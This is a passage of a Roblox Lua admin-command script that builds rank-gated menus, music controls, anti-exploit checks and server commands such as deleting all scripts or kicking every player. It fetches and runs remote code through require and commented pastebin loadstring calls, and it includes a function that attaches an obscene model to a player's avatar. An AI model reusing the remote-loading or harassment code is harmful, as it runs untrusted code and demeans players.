- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Hat' then
- v.Handle.Transparency = 1
- end
- end
- speaker.Character.Head.face.Transparency = 1
- end)
- _tab('Visible',pc,speaker,
- function(tabc)
- dmp(speaker)
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Part' then
- v.Transparency = 0
- end
- end
- for i,v in pairs(speaker.Character:children'') do
- if v:IsA'Hat' then
- v.Handle.Transparency = 0
- end
- end
- speaker.Character.Head.face.Transparency = 0
- speaker.Character.HumanoidRootPart.Transparency = 1
- end)
- end)
- end
- neonmenu=function(plr,speaker)
- local plrc=_plr(plr)if plrc then plr = plrc.Name end
- local pc=ps.color(speaker)
- dmp(speaker)
- _tab('Neon on',pc,speaker,function()
- dmp(speaker)
- alert.c(speaker~=plr and plr..'\'s neon enabled' or plr..'Neon enabled',pc,speaker)
- ds.set(plr,'neon',true)
- end)
- _tab('Neon off',pc,speaker,function()
- dmp(speaker)
- alert.c(speaker~=plr and plr..'\'s neon disabled' or plr..'Neon disabled',pc,speaker)
- ds.set(plr,'neon',false)
- end)
- end
- configtab=function(plr,speaker)
- local plrc=_plr(plr)if plrc then plr = plrc.Name end
- if getrank(speaker.Name)>getrank(plr) and getrank(speaker.Name)>= 9e9 or plrc==speaker then
- if plr~=speaker and getrank(speaker)>=9e9 and plrc then
- _tab('actions','Lime green',speaker,function()plrfunc(plrc,speaker)end)
- end
- local pc=ps.color(plr)
- _tab('player configuration','New Yeller',speaker,
- function(tab)
- rem(tab)
- if plr~=speaker and getrank(speaker)>getrank(plr) and getrank(speaker)>=4 or plr==speaker and getrank(speaker)>=1337 then
- _tab('set rank',rank[getrank(plr)],speaker,function()dmp(speaker)changerank(plr,speaker)end)
- end
- _tab('set wave',pc,speaker,
- function(tab2)
- wavemenu(plr,speaker)
- _tab('Back','Teal',speaker,function()plrmen(plr,speaker)end)
- end)
- _tab('set rot',pc,speaker,
- function(tab2)
- rotmenu(plr,speaker)
- _tab('back','Teal',speaker,function()plrmen(plr,speaker)end)
- end)
- _tab('Set color',pc,speaker,
- function()
- dmp(speaker)
- _tab('Back','Teal',speaker,function()plrmen(plr,speaker)end)
- _tab('select a color',pc,speaker)
- for i,v in pairs(colors)do
- _tab('['..v..']',v,speaker,
- function()
- local e=ds.get(plr)
- e[4]=v
- ds.set(plr,'color',v)
- alert.c('your color is now '..v,v,plrc)
- if plrc~=speaker then
- alert.c('you set '..tostring(plr)..'\'s color to '..v,ps.color(speaker),speaker)
- end
- plrmen(plr,speaker)end)
- end
- end)
- _tab('Set Neon',pc,speaker,
- function()
- neonmenu(plr,speaker)
- end)
- end)
- end
- end
- placemenu=function(speaker)
- dmp(speaker)
- local aaacreatorname=UsernameFromID(game.CreatorId)
- _tab('Place Id: '..game.PlaceId,'Deep orange',speaker)
- _tab('Place Name: '..GetNameFromId(game.PlaceId),'Deep orange',speaker)
- _tab('Place Creator: '..aaacreatorname..' ('..game.CreatorId..')','Deep orange',speaker)
- if game.VIPServerId == "" then
- _tab('VIP Server: false','Deep orange',speaker)
- else
- _tab('VIP Server: true Id is: '..game.VIPServerId,'Deep orange',speaker)
- end
- if game:service'Workspace'.StreamingEnabled == true then
- _tab('Streaming is enabled','Cyan',speaker)
- else
- _tab('Streaming is disabled','Cyan',speaker)
- end
- if game:service'Workspace'.FilteringEnabled == true then
- _tab('Filtering is enabled','Cyan',speaker)
- else
- _tab('Filtering is disabled','Cyan',speaker)
- end
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Properties','Bright yellow',speaker,function()
- dmp(speaker)
- _tab('Generate VIPServer','Cyan',speaker,function()
- privateserver(speaker,nil)
- end)
- _tab('Delete all scripts','Bright red',speaker,function()
- for _,v in pairs(game:service'Workspace':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- for _,v in pairs(game:service'Lighting':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- for _,v in pairs(game:service'ReplicatedFirst':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- for _,v in pairs(game:service'ReplicatedStorage':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- for _,v in pairs(game:service'ServerScriptService':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- for _,v in pairs(game:service'ServerStorage':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
- end)
- _tab('Shutdown','Bright red',speaker,function()
- for _,v in pairs(game:service'Players':GetPlayers()) do
- v:Kick("[Legit]: We have shutdown this server.")
- end
- end)
- _tab('Be alone','Deep orange',speaker,function()
- for _,v in pairs(game:service'Players':GetPlayers()) do
- if v.Name ~= speaker.Name then
- v:Kick("i wanna be alone ;-;")
- end
- end
- end)
- _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
- _tab('Go Back','Cyan',speaker,function() dmp(speaker) placemenu(speaker) end)
- end)
- end
- plrmen=function(plr,speaker,ccc)
- dmp(speaker)
- _dmtab(speaker)
- --ct('Back','Teal',ccc,speaker)
- local plrc=_plr(plr)
- if plrc==nil then else plr=plrc.Name end
- local pc=ps.color(plr)
- _tab(plr,n,speaker)
- local v=ds.prof(plr)
- _tab('Rank:\n'..getrank(plr),pc,speaker)
- if v then
- _tab('Reason:\n'..v[3],pc,speaker)
- _tab('Color:\n'..v[5],v[5],speaker)
- _tab('Wave:\n'..tostring(ps.wave(v[1])),v[5],speaker)
- end
- if plrc then _tab('age:\n'..tostring(plrc.AccountAge),pc,speaker)end
- _tab('color:\n'..ps.color(plr),pc,speaker)
- local nr=ds.default(ds.prof(plr))nr=not nr
- _tab('stored in users:\n'..str.firstc(tostring(nr)),pc,speaker)
- configtab(plrc,speaker)
- end
- assettype=function(id)
- local i=game:GetService("MarketplaceService"):GetProductInfo(tonumber(id))
- return i.AssetTypeId
- end
- plrinfo=function(plr,speaker)
- plr=_plr(plr)
- dmp(speaker)
- _dmtab(speaker)
- end
- getAllArgs=function(str)
- local found={}
- local runw=true
- while runw do
- local arg,ends=getargb(str)
- --print(ends)
- if arg~='' and ends~=0 then
- table.insert(found,arg)
- str=str:sub(ends+1)
- else
- runw=false
- end
- end
- if found~={}then
- return found end
- end
- songmenu=function(n,speaker)
- dmp(speaker)
- if type(n)==type('hi')then
- n=music[n][1]
- end if not n then return end
- _dmtab(speaker)
- local i=game:GetService("MarketplaceService"):GetProductInfo(tonumber(n))
- name=i.Name
- t.t("Name: "..i.Name, ps.color(speaker),speaker)
- t.t("Sales: "..i.Sales, ps.color(speaker),speaker)
- t.t("Id: "..i.AssetId,ps.color(speaker),speaker)
- _tab("Get sound", 'Deep orange',speaker,function() game:GetService("MarketplaceService"):PromptPurchase(speaker,i.AssetId) end)
- local inlib=false
- for i,v in pairs(music)do
- if v[1]==i.AssetId then
- music[i]=nil inlib=true
- end
- end
- if inlib then music[i.Name]={i.AssetId,'Downloaded'}end
- _tab("Play sound", 'Maroon',speaker,
- function()
- dmp(speaker)
- chat("sm'deep",speaker)
- m.play(nil,true)
- m.play(tonumber(i.AssetId))
- alert.c('now playing:\n'..i.Name,'Lime green',speaker,3)
- end)
- if (getrank(speaker.Name)<4) then return end
- if music[i.Name]then
- _tab("Remove from library",'Bright red',speaker,
- function()
- local mz=m.getlib()
- mz[i.Name]=nil
- m.setlib(mz)
- alert.c('Removed song','Really red',speaker,4)
- end,'dmself')
- else
- _tab("Add to library",'Maroon',speaker,
- function()
- m.addsong(i.Name,tonumber(i.AssetId),'Downloaded')
- music[i.Name]={i.AssetId,'Downloaded'}
- alert.c('Added song','Maroon',speaker,4)
- end,'dmself')
- end
- end
- genrelist=function(speaker,genreq)
- local genres={}
- for i,v in pairs(music)do
- if v[2]~=nil then
- local g=v[2]:lower()
- g=g:sub(1,1):upper()..g:sub(2)
- if not genres[g]then genres[g]={}end
- table.insert(genres[g],i)
- else
- if not genres['Uncategorized']then genres['Uncategorized']={}end
- table.insert(genres['Uncategorized'],i)
- end
- end
- _dmtab(speaker)
- if genreq == nil then
- for i,v in pairs(genres)do--name , table of names
- local g=genres[i]--table of stuff
- if i=='Downloaded'and #v==0 then else
- local ccc=c.purple
- if i=='Downloaded'then
- ccc='Lime green'
- end
- _tab(i..' ['..#g..']',ccc,speaker,
- function()
- dmp(speaker)
- _dmtab(speaker)
- _tab('['..i..']',c.purple,speaker)
- for k,z in pairs(g)do
- songmenu(z,speaker)
- end
- end)
- end
- end
- else
- if genres[genreq]~=nil then
- local req=genres[genreq]
- local ccc=c.purple
- if i=='Downloaded'then
- ccc='Lime green'
- end
- for k,z in pairs(req)do
- songmenu(z,speaker)
- end
- end
- end
- end
- t.t=function(text,color,player,t)
- t=t or 0
- if not text or not color or not player then return end
- local plr=_plr(player)
- _tab(text,color,plr,'','',t)
- end
- settime=function(t)
- game:service'Lighting'.TimeOfDay=t
- end
- ct=function(txt,color,chatm,plr,flag)
- _tab(txt,color,plr,function()chat(chatm,plr)end,flag)
- end
- checkgui=function(p,g)
- if g.Name == "RX6" then
- g:Remove()
- p:LoadCharacter()
- chatlegit("Respawned "..p.Name.." Ro-Exploit")
- --insert an chat here to say that he uses roxploit (p - player, g- gui)
- elseif g.Name == "nooties" then
- if g:FindFirstChild("TextButton") then
- if g.TextButton.Name == "nooties" then
- g:Remove()
- p:LoadCharacter()
- p:Kick("bye")
- deepclean()
- chatlegit("Kicked "..p.Name.." for Noot Noot!")
- end
- end
- elseif g.Name == "ScreenGui" then
- if g:FindFirstChild("Frame") then
- for i=1, #g.Frame do
- if i:IsA("TextBox") then
- if i.Text == "Victim Name" then
- g:Remove()
- p:LoadCharacter()
- chatlegit("Respawned "..p.Name.." for Anal!")
- end
- end
- end
- end
- end
- end
- checkbackpack=function(p,t)
- if t:IsA("HopperBin") and t.Name ~= "LegitHB" then
- p.Backpack:Remove()
- t:Remove()
- chatlegit("Someone tried to crash " ..p.Name.. " with hopperbins!")
- end
- end
- iscmd=function(str)
- for i,v in pairs(cmds) do
- if v.NAME:lower()==str:lower() or aliasof((c.ALIAS or {}),str)then return v end
- end
- end
- chat=function(msg,plr)--obj
- if not enabled then return end
- local iscmd=false
- logs.cwrite(plr.Name..': '..msg)
- if msg:sub(1,3)=='/e 'then msg=msg:sub(4)iscmd=true end
- if msg:sub(1,string.len(getprefix()))==getprefix() then msg=msg:sub((string.len(getprefix()))+1)iscmd=true end
- if not iscmd then return end
- local base,ends=getbase(msg)
- logs.cwrite(plr.Name..': '..msg)
- local cmd=nil;
- local test=playertimes[plr.Name]
- if not test then playertimes[plr.Name]=tick()end
- if tick()-playertimes[plr.Name]<.4 then return end
- playertimes[plr.Name]=tick()
- if base then
- for i,c in pairs(cmds)do
- if c.NAME:lower()==base:lower() or aliasof(c.ALIAS,base)then
- local cmd=c;
- local arg=getAllArgs(msg:sub(ends))
- local rc=ps.islocked(c.NAME,plr)
- if hasPermission(plr,c.PERM)and not rc then
- --print(arg[1])
- local run,error=ypcall(function()
- c.FUNC(plr,arg,msg)
- end)
- if not run then dmp(plr)alert.c('Error','White',plr)alert.c(error,'Really red',plr) end
- elseif rc then
- alert.c('This command has been locked for you!','Really red',plr)
- else
- alert.c('You do not have permission for that command! ['..c.PERM..']','Really red',plr)
- end
- end
- end
- end
- end
- run = function(Title,Message)
- for _,v in pairs(game:service'Players':GetPlayers()) do
- local Value = Instance.new("StringValue",v)
- Value.Name = "SB_Chat"
- Value.Value = tostring(Title).."/"..Message
- Value.Parent = v
- game.Debris:AddItem(Value,.1)
- end
- end
- addcmd=function(name,desc,permission,args,fn,aliases)
- --COMMAND NAME
- --COMMAND DESCRIPTION
- --MINIMUM PERMISSION LEVEL
- --ARGS
- --FUNCTION (SPEAKER, ARGS)
- --ALIAS TABLE (OPTIONAL)
- aliases=aliases or {}
- table.insert(cmds,{
- NAME =name;
- DESC =desc;
- PERM =permission;
- ARGS =args;
- FUNC =fn;
- ALIAS =aliases;
- })
- end
- runas=function(msg,plr)
- chat(msg,plr)
- end
- function CommandBar(Player)
- if Player == nil then return end
- for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
- if v.Name == 'lebar' then
- v:remove()
- end
- end
- local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
- ScreenGui.Name = 'lebar'
- local Frame = Instance.new("Frame",ScreenGui)
- Frame.BackgroundColor3 = Color3.new(1,1,1)
- Frame.BackgroundTransparency = 1
- Frame.BorderColor3 = Color3.new(0,0,0)
- Frame.BorderSizePixel = 0
- Frame.Position = UDim2.new(0,0,0.5,300)
- Frame.Size = UDim2.new(0,400,0,30)
- Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
- local TextButton = Instance.new("TextButton",Frame)
- TextButton.BackgroundColor3 = Color3.new(1,1,1)
- TextButton.BackgroundTransparency = 0.69999998807907
- TextButton.BorderColor3 = Color3.new(0,0,0)
- TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
- TextButton.Style = Enum.ButtonStyle.Custom
- TextButton.Font = Enum.Font.SourceSans
- TextButton.FontSize = Enum.FontSize.Size24
- TextButton.Text = "Submit"
- TextButton.TextColor3 = Color3.new(1,0,0)
- local TextBox = Instance.new("TextBox",Frame)
- TextBox.Active = true
- TextBox.BackgroundColor3 = Color3.new(1,1,1)
- TextBox.BackgroundTransparency = 0.69999998807907
- TextBox.BorderColor3 = Color3.new(0,0,0)
- TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
- TextBox.Size = UDim2.new(0.80000001192093,0,1,0)
- TextBox.Font = Enum.Font.SourceSans
- TextBox.FontSize = Enum.FontSize.Size24
- TextBox.Text = "Type command"
- TextBox.TextColor3 = Color3.new(0,0,0)
- TextButton.MouseButton1Down:connect(function()
- runas(TextBox.Text,Player)
- end)
- Frame:TweenPosition(UDim2.new(0.75,0,0.5,300), "Out", "Quad", 1)
- end
- GuiNotify = function(plr,txt,tme)
- --wait(time);
- coroutine.wrap(function()
- if time==nil then tme=5 end
- local Notify = Instance.new("ScreenGui", plr.PlayerGui);
- Notify.Name = "CoresMsg";
- local TextLabel = Instance.new("TextLabel", Notify);
- TextLabel.Size = UDim2.new(1,0,0,30);
- TextLabel.Position = UDim2.new(1,0,1,0);
- TextLabel.Text = txt;
- TextLabel.FontSize = 'Size24'
- TextLabel.BackgroundColor3 = Color3.new(0,0,0);
- TextLabel.BackgroundTransparency = .42;
- TextLabel.Font = "SourceSansBold";
- TextLabel.TextColor3 = Color3.new(1,1,1);
- TextLabel.TextScaled = false;
- TextLabel.TextStrokeTransparency = .4
- TextLabel.TextStrokeColor3 = Color3.new(1,1,1)
- TextLabel.BorderSizePixel = 0;
- TextLabel:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',2,true);
- wait(tme);
- TextLabel:TweenPosition(UDim2.new(-1,0,0,0),'Out','Quint',2,true);
- wait(tme)
- Notify:Destroy();
- end)();
- end
- function RemoveMusic(Object)
- if Object:IsA('Sound') or Object.ClassName == 'Sound' then
- Object:Destroy'';
- else
- for i, v in pairs(Object:GetChildren()) do
- if v:IsA("Sound") or v.ClassName == 'Sound' then
- v:Destroy'';
- end;
- RemoveMusic(v);
- end;
- end;
- end;
- function ds:Hint(str,tme)
- for i,v in pairs(game:service'Players':GetPlayers()) do
- coroutine.wrap(function()
- if not v:findFirstChild("PlayerGui") then Instance.new("PlayerGui",v) end
- local g = Instance.new("ScreenGui",v.PlayerGui)
- g.Name="Hint"
- local bg = Instance.new("Frame",g)
- bg.BackgroundColor3=Color3.new(0,0,0)
- bg.BackgroundTransparency=.5
- bg.BorderColor3=Color3.new(0,0,0)
- bg.Name="Bg"
- bg.Size=UDim2.new(1,0,0.05,0)
- bg.Visible=false
- local txt = Instance.new("TextLabel",bg)
- txt.BackgroundTransparency=1
- txt.Name="Text"
- txt.Size=UDim2.new(1,0,1,0)
- txt.Font="ArialBold"
- txt.TextColor3=Color3.new(255,255,255)
- txt.TextScaled=true
- txt.TextWrapped=true
- txt.TextStrokeColor3=Color3.new(0,0,0)
- txt.TextStrokeTransparency=0
- txt.Text=str
- bg.Position=UDim2.new(-1,0,0,0)
- txt.Visible=false
- txt.TextStrokeTransparency=1
- txt.TextTransparency=1
- bg.Visible=true
- bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1)
- wait(1)
- bg.Position=UDim2.new(0,0,0,0) -- just in case
- wait(.5)
- txt.Visible=true
- for i = 100,0,-5 do
- txt.TextTransparency=i/100
- txt.TextStrokeTransparency=i/100
- wait()
- end
- wait(tme)
- for i = 0,100,5 do
- txt.TextTransparency=i/100
- txt.TextStrokeTransparency=i/100
- wait()
- end
- bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5)
- wait(tme)
- g:Destroy()
- end)()
- end
- end
- function ds:Msg(title,str,tme)
- for i,v in pairs(game:GetService("Players"):GetPlayers'') do
- coroutine.wrap(function(v)
- if not v:findFirstChild'PlayerGui' then Instance.new("PlayerGui",v);end;
- local g = Instance.new("ScreenGui",v.PlayerGui);
- g.Name="Message";
- local bg = Instance.new("Frame",g);
- bg.BackgroundColor3=Color3.new(0,0,0);
- bg.BackgroundTransparency=.5;
- bg.BorderColor3=Color3.new(0,0,0);
- bg.Size=UDim2.new(1,0,1,0);
- bg.Name="Bg";
- bg.Position=UDim2.new(-1,0,0,0);
- local label = Instance.new("TextLabel",bg);
- label.BackgroundTransparency=1;
- label.Name="Label";
- label.Size=UDim2.new(1,0,.1,0);
- label.Font="SourceSansLight"
- label.TextColor3=Color3.new(170,85,255);
- label.TextScaled=true;
- label.TextWrapped=true;
- label.TextStrokeColor3=Color3.new(255,255,255);
- label.TextStrokeTransparency=0;
- label.Text=title
- local txt = Instance.new("TextLabel",bg);
- txt.BackgroundTransparency=1;
- txt.Name="Text";
- txt.Size=UDim2.new(1,0,.9,0);
- txt.Position=UDim2.new(0,0,.1,0);
- txt.Font="SourceSansLight";
- txt.TextColor3=Color3.new(170,85,255);
- txt.TextScaled=true;
- txt.TextWrapped=true;
- txt.TextStrokeColor3=Color3.new(255,255,255);
- txt.TextStrokeTransparency=0;
- txt.Text=str
- bg.Visible=false;
- txt.Visible=false;
- label.Visible=false;
- txt.TextStrokeTransparency=1;
- txt.TextTransparency=1;
- label.TextStrokeTransparency=1;
- label.TextTransparency=1;
- bg.Visible=true;
- bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1);
- wait'1';
- bg.Position=UDim2.new(0,0,0,0);
- wait'.5';
- txt.Visible=true;
- label.Visible=true;
- for i = 100,0,-5 do
- txt.TextTransparency=i/100;
- txt.TextStrokeTransparency=i/100;
- label.TextTransparency=i/100;
- label.TextStrokeTransparency=i/100;
- wait();end;
- wait (tme);
- for i = 0,100,5 do
- txt.TextTransparency=i/100;
- txt.TextStrokeTransparency=i/100;
- label.TextTransparency=i/100;
- label.TextStrokeTransparency=i/100;
- wait'';end;
- bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5);
- wait (tme);
- g:Destroy'';
- end)(v);
- end;
- end
- function ds:LOL(p)
- -- thanks rias<3
- local plr = p.Character
- local Shaft = Instance.new("Part", plr)
- Shaft.Name = 'Shaft'
- Shaft.Size = Vector3.new(1, 2.5, 1)
- Shaft.TopSurface = 0
- Shaft.BottomSurface = 0
- Shaft.CanCollide = true
- local Cyln = Instance.new("CylinderMesh", Shaft)
- Cyln.Scale = Vector3.new(0.5, 0.7, 0.5)
- Instance.new("Weld", plr)
- plr.Weld.Part0 = plr.Torso
- plr.Weld.Part1 = plr.Shaft
- plr.Weld.C0 = CFrame.new(0, -0.35, -0.9) * CFrame.fromEulerAnglesXYZ(2.2, 0, 0)
- Shaft.BrickColor = BrickColor.new("Pastel brown")
- local Tip = Instance.new("Part", plr)
- Tip.Name = 'Tip'
- Tip.TopSurface = 0
- Tip.BottomSurface = 0
- Tip.Size = Vector3.new(1, 1, 1)
- Tip.CanCollide = true
- Tip.Touched:connect(function(prt)
- if prt.Parent ~= plr then
- spawn(function()
- for i = 1, 5 do
- local pert = Instance.new("Part", plr)
- pert.CFrame = CFrame.new(prt.Position)
- pert.CanCollide = true
- local mesh = Instance.new("BlockMesh", pert)
- mesh.Scale = Vector3.new(0.2, 0.2, 0.2)
- pert.BrickColor = BrickColor.new("White")
- end
- end)
- end
- end)
- local Cyln2 = Instance.new("SpecialMesh", Tip)
- Cyln2.MeshType = 'Sphere'
- Cyln2.Scale = Vector3.new(0.6, 0.6, 0.6)
- Instance.new("Weld", plr).Name = 'Weld2'
- plr.Weld2.Part0 = plr.Shaft
- plr.Weld2.Part1 = plr.Tip
- plr.Weld2.C0 = CFrame.new(0, -.9, 0)
- Tip.BrickColor = BrickColor.new("Pink")
- -----
- Ball1 = Instance.new("Part", plr)
- Ball1.Name = 'Ball1'
- Ball1.Size = Vector3.new(1, 1, 1)
- Ball1.TopSurface = 0
- Ball1.BottomSurface = 0
- Cyln3 = Instance.new("SpecialMesh", Ball1)
- Cyln3.MeshType = 'Sphere'
- Cyln3.Scale = Vector3.new(0.4, 0.4, 0.4)
- Instance.new("Weld", plr).Name = 'Weld3'
- plr.Weld3.Part0 = plr.Shaft
- plr.Weld3.Part1 = plr.Ball1
- plr.Weld3.C0 = CFrame.new(0.225, .4, 0.2)
- Ball1.BrickColor = BrickColor.new("Pastel brown")
- -----
- Ball2 = Instance.new("Part", plr)
- Ball2.Name = 'Ball2'
- Ball2.Size = Vector3.new(1, 1, 1)
- Ball2.TopSurface = 0
- Ball2.BottomSurface = 0
- Cyln3 = Instance.new("SpecialMesh", Ball2)
- Cyln3.MeshType = 'Sphere'
- Cyln3.Scale = Vector3.new(0.4, 0.4, 0.4)
- Instance.new("Weld", plr).Name = 'Weld4'
- plr.Weld4.Part0 = plr.Shaft
- plr.Weld4.Part1 = plr.Ball2
- plr.Weld4.C0 = CFrame.new(-0.225, .4, 0.2)
- Ball2.BrickColor = BrickColor.new("Pastel brown")
- end
- function NoMusic()
- local KnownObjects = {}
- table.insert(KnownObjects, game)
- local function CollectObjects(X)
- for i, v in pairs(X:GetChildren()) do
- pcall(function()
- CollectObjects(v)
- end)
- table.insert(KnownObjects, v)
- end
- end
- CollectObjects(game)
- for x, y in pairs(KnownObjects) do
- local rr, ee = pcall(function()
- RemoveMusic(y)
- end)
- end
- end
- function Music(ID, name)
- if tonumber(ID) then
- NoMusic()
- local z = Instance.new("Sound", workspace)
- z.SoundId = "http://www.roblox.com/asset/?id="..ID
- z.Looped = true
- z.Volume = 1
- if name == nil or not name or name == '' then
- z.Name = 'Sound'
- else
- z.Name = "Sound: "..name
- end
- z:Play()
- spawn(function()
- wait(0.1)
- z.Parent = game:service'SoundService'
- end)
- return z
- end
- end
- cmdmenu=function(v,speaker)
- _tab((v.NAME),ps.color(speaker),speaker,
- function()
- dmp(speaker)
- _dmtab(speaker)
- t.t(v.NAME,c.cmdc,speaker)
- local pc=c.red
- local ps='You can\'t use this'
- local r=getrank(speaker)
- if r>=v.PERM then pc=c.green ps='You can use this!'end
- t.t('Permission: '..v.PERM,c.white,speaker)
- t.t(ps,pc,speaker)
- t.t(v.DESC,c.white,speaker)
- if v.ALIAS[1]~=nil then
- _tab('Aliases: '..list(v.ALIAS),c.white,speaker)
- end
- end)
- end
- getCommandsWithPerm=function(num)
- local found={}
- for i,v in pairs(cmds)do
- if v.PERM<=num then
- table.insert(found,v)
- end
- end
- return found
- end
- addcmd('cmds','show commands',0,1,
- function(speaker,a,o)
- dmp(speaker)
- local r=getrank(speaker)
- local s=speaker
- local pc=ps.color(speaker)
- _dmtab(speaker)
- _tab('Your rank: '..r,pc,speaker,
- function()
- dmp(speaker)
- local z=getCommandsWithPerm(getrank(speaker))
- _dmtab(speaker)
- ct('Go Back','Really red','cmds',speaker,'')
- for i,v in pairs(z)do
- cmdmenu(v,speaker)
- end
- end)
- for i=0,6 do
- _tab(i..' ['..(rank[i] or 'Player')..']',pc,speaker,
- function()
- dmp(speaker)
- _dmtab(speaker)
- local z=getCommandsWithPerm(i)
- ct('Go Back','Really red','cmds',speaker,'')
- for i,v in pairs(z)do
- cmdmenu(v,speaker)
- end
- end)
- end
- _tab('View all',pc,speaker,
- function()
- dmp(speaker)
- _dmtab(speaker)
- local z=getCommandsWithPerm(10)
- ct('Go Back','Really red','cmds',speaker,'')
- for i,v in pairs(z)do
- cmdmenu(v,speaker)
- end
- end)
- end,{'commands'})
- addcmd('pi','3.14159....',0,0,function(speaker,args)
- _tab(math.pi,'Cyan',speaker)
- end)
- addcmd('ping','output with text\nargs: text to display',0,1,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
- for i=1,tonumber(args[1])do
- alert.c(args[2]or 'pong',ps.color(speaker),speaker)
- end
- return
- elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- alert.c(args[2] or 'pong!',c.white,_plr(v))end)
- else
- alert.c(args[1] or 'pong!',ps.color(speaker),speaker)
- end
- end,
- {'print','out'})
- addcmd('encrypt','encrypt text',0,1,
- function(speaker,args)
- if args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- alert.c(encrypt(args[2]) or encrypt'pong!',c.white,_plr(v))end)
- else
- alert.c(encrypt(args[1]) or 'pong!',ps.color(speaker),speaker)
- end
- end,
- {'enc'})
- addcmd('decrypt','decrypt text',0,1,
- function(speaker,args)
- if args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- alert.c(decrypt(args[2]) or decrypt'pong!',c.white,_plr(v))end)
- else
- alert.c(decrypt(args[1]) or 'pong!',ps.color(speaker),speaker)
- end
- end)
- addcmd('privateserver','teleport player to a private server',4,2,
- function(speaker,args)
- local fplr = _match(args[1],speaker)
- local name = tostring(args[2])
- if name ~= nil or name ~= "" then
- for _,plr in pairs(fplr)do
- SendChat.MessageToPlayer(plr,"[Legit]: Teleporting you to "..name.."...",BrickColor.new("Really blue").Color,"Size24","SciFi")
- wait(2)
- priserver(plr,name)
- end
- else
- SendChat.MessageToPlayer(speaker,"[Legit]: Please supply a name",BrickColor.new("Really red").Color,"Size24","SciFi")
- end
- end,{'ps'})
- addcmd('join','join a player',0,1,function(speaker,args)
- local idd = plrs:GetUserIdFromNameAsync(tostring(args[1]))
- local placeId, instanceId = nil
- local success, err = pcall(function()
- local s,e = nil
- s, e, placeId, instanceId = game:GetService("TeleportService"):GetPlayerPlaceInstanceAsync(idd)
- end)
- if success then
- game:GetService("TeleportService"):TeleportToPlaceInstance(placeId, instanceId, speaker)
- elseif err then
- alert.c("System Error: " .. err, ps.color(speaker), speaker)
- end
- end,{'joinplr'})
- addcmd('time','adjust time',0,0,
- function(speaker,args)
- _dmtab(speaker)
- _tab('Midnight','Really black',speaker,function()settime(0)dmp(speaker)end)
- _tab('Morning','White',speaker,function()settime(6)dmp(speaker)end)
- _tab('Noon','White',speaker,function()settime(12)dmp(speaker)end)
- _tab('Evening','Institutional white',speaker,function()settime(18)dmp(speaker)end)
- end,
- {'timemenu'})
- function RemoveM()
- for i, v in pairs(game:GetService('Workspace'):GetChildren()) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- for _,terrain in pairs(workspace:GetChildren())do if terrain.ClassName == 'Sound' or v:IsA('Sound') then
- terrain.Looped = false
- terrain.PlayOnRemove = false
- terrain.Pause()
- terrain:Stop()
- terrain:remove()
- end end
- end
- for i, v in pairs(game:GetService('SoundService'):GetChildren()) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- end
- for i, v in pairs(Children) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- end
- end
- addcmd('dt','dismiss tabs\nargs: player',0,1,
- function(speaker,args)
- if args[1]and hasPermission(speaker,{PERM=4})then
- local fplrs=_match(args[1],speaker)
- table.foreach(fplrs,function(ki,vi)dmp(_plr(vi))end)
- else
- dmp(speaker)
- end
- end,
- {'dismiss','dm'})
- function Orb()
- require(739438506)
- --loadstring(game:service'HttpService':GetAsync("https://pastebin.com/raw/GkKrZV65"))()
- end
- --[[function IRC()
- --require(730997205)
- local remoteirc = game:service'ReplicatedStorage':FindFirstChild("RemoteIRC")
- if not remoteirc then
- loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')() local IRCRemote = Instance.new("RemoteEvent",game:service'ReplicatedStorage') IRCRemote.Name = "RemoteIRC"
- else
- SendChat.MessageAll("[Legit]: IRC has already been loaded",BrickColor.new("Really red").Color,"Size24","SourceSansBold")
- end
- end--]]
- --[[function IRCcmd(plr)
- --require(730997205)
- local remoteirc = game:service'ReplicatedStorage':FindFirstChild("RemoteIRC")
- if not remoteirc then
- local plrirc=plr
- if plrirc ~= nil then
- dmp(plrirc)
- alert.c("Run IRC?",c.white,plrirc)
- _tab("Yes","Lime green",plrirc,function()dmp(plrirc) chatlegit("Loading IRC...") loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')() IRCRemote = Instance.new("RemoteEvent",game:service'ReplicatedStorage') IRCRemote.Name = "RemoteIRC" end,'')
- _tab("No","Really red",plrirc,function()dmp(plrirc) end,'')
- elseif not plrirc then
